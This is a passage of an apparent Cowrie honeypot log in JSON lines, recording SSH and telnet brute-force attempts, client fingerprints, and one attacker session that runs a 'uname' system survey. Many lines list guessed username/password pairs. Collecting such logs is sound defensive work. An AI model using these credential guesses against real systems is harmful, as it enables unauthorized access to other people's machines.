16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:28.882504Z","src_ip":"45.153.34.195","session":"06220c80a6a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:29.454705Z","src_ip":"45.153.34.195","session":"06220c80a6a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.0","message":"Connection lost after 27.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:29.865635Z","src_ip":"91.92.40.36","session":"5fd8c974c813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:30.576207Z","src_ip":"45.153.34.195","session":"06220c80a6a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43040,"dst_ip":"159.203.135.109","dst_port":22,"session":"2eb4f2ca8d14","protocol":"ssh","message":"New connection: 91.92.40.36:43040 (159.203.135.109:22) [session: 2eb4f2ca8d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:30.836621Z"}
{"eventid":"cowrie.session.closed","duration":"21.2","message":"Connection lost after 21.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:31.054774Z","src_ip":"91.92.40.36","session":"5627ae29dc9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":12688,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fcdbf2307a0","protocol":"ssh","message":"New connection: 45.153.34.195:12688 (10.17.0.5:22) [session: 1fcdbf2307a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:31.614972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:31.626758Z","src_ip":"45.153.34.195","session":"1fcdbf2307a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:31.738240Z","src_ip":"45.153.34.195","session":"1fcdbf2307a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@123","message":"login attempt [ubuntu/Ubuntu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:32.419600Z","src_ip":"45.153.34.195","session":"1fcdbf2307a0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:33.456739Z","src_ip":"91.92.40.36","session":"2eb4f2ca8d14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:33.460356Z","src_ip":"91.92.40.36","session":"2eb4f2ca8d14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:33.658808Z","src_ip":"45.153.34.195","session":"1fcdbf2307a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57986,"dst_ip":"10.17.0.5","dst_port":22,"session":"8912c7e40663","protocol":"ssh","message":"New connection: 45.153.34.195:57986 (10.17.0.5:22) [session: 8912c7e40663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:34.603274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:34.616521Z","src_ip":"45.153.34.195","session":"8912c7e40663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:34.714253Z","src_ip":"45.153.34.195","session":"8912c7e40663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scanner","password":"Gdx8eroi","message":"login attempt [scanner/Gdx8eroi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:35.186073Z","src_ip":"45.153.34.195","session":"8912c7e40663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.249","src_port":59648,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d432ada35e3","protocol":"telnet","message":"New connection: 205.210.31.249:59648 (10.17.0.5:23) [session: 1d432ada35e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:35.840724Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:36.270858Z","src_ip":"45.153.34.195","session":"8912c7e40663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"123456","message":"login attempt [samba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:37.259390Z","src_ip":"91.92.40.36","session":"8ae4f1a14603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25764,"dst_ip":"159.203.135.109","dst_port":22,"session":"60185f7078ff","protocol":"ssh","message":"New connection: 91.92.40.36:25764 (159.203.135.109:22) [session: 60185f7078ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:37.363251Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57998,"dst_ip":"10.17.0.5","dst_port":22,"session":"222d3c0b6487","protocol":"ssh","message":"New connection: 45.153.34.195:57998 (10.17.0.5:22) [session: 222d3c0b6487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:37.503933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:37.511811Z","src_ip":"45.153.34.195","session":"222d3c0b6487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:37.604654Z","src_ip":"45.153.34.195","session":"222d3c0b6487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:37.927250Z","src_ip":"45.153.34.195","session":"222d3c0b6487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:39.012456Z","src_ip":"45.153.34.195","session":"222d3c0b6487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"developer12","message":"login attempt [ubuntu/developer12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:40.376403Z","src_ip":"91.92.40.36","session":"1c6b61e11223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":58010,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3672798d861","protocol":"ssh","message":"New connection: 45.153.34.195:58010 (10.17.0.5:22) [session: a3672798d861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:40.411145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:40.443957Z","src_ip":"45.153.34.195","session":"a3672798d861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:40.520572Z","src_ip":"45.153.34.195","session":"a3672798d861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"abc123","message":"login attempt [dev/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:40.866126Z","src_ip":"45.153.34.195","session":"a3672798d861","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:41.046675Z","src_ip":"91.92.40.36","session":"60185f7078ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:41.049992Z","src_ip":"91.92.40.36","session":"60185f7078ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:41.948740Z","src_ip":"45.153.34.195","session":"a3672798d861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.2","message":"Connection lost after 23.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:42.073969Z","src_ip":"91.92.40.36","session":"8ae4f1a14603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25792,"dst_ip":"159.203.135.109","dst_port":22,"session":"c891be7d2842","protocol":"ssh","message":"New connection: 91.92.40.36:25792 (159.203.135.109:22) [session: c891be7d2842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:42.495539Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":24766,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b2a65908ca0","protocol":"ssh","message":"New connection: 45.153.34.195:24766 (10.17.0.5:22) [session: 4b2a65908ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:43.253477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:43.435082Z","src_ip":"45.153.34.195","session":"4b2a65908ca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:43.439490Z","src_ip":"45.153.34.195","session":"4b2a65908ca0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:43.945051Z","src_ip":"45.153.34.195","session":"4b2a65908ca0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:44.154198Z","src_ip":"45.153.34.195","session":"4b2a65908ca0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:44.157239Z","src_ip":"45.153.34.195","session":"4b2a65908ca0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:44.242407Z","src_ip":"45.153.34.195","session":"4b2a65908ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:44.247083Z","src_ip":"45.153.34.195","session":"4b2a65908ca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":54318,"dst_ip":"10.17.0.5","dst_port":22,"session":"d47c88c903ae","protocol":"ssh","message":"New connection: 123.27.168.40:54318 (10.17.0.5:22) [session: d47c88c903ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:44.512259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:44.516377Z","src_ip":"123.27.168.40","session":"d47c88c903ae","protocol":"ssh"}
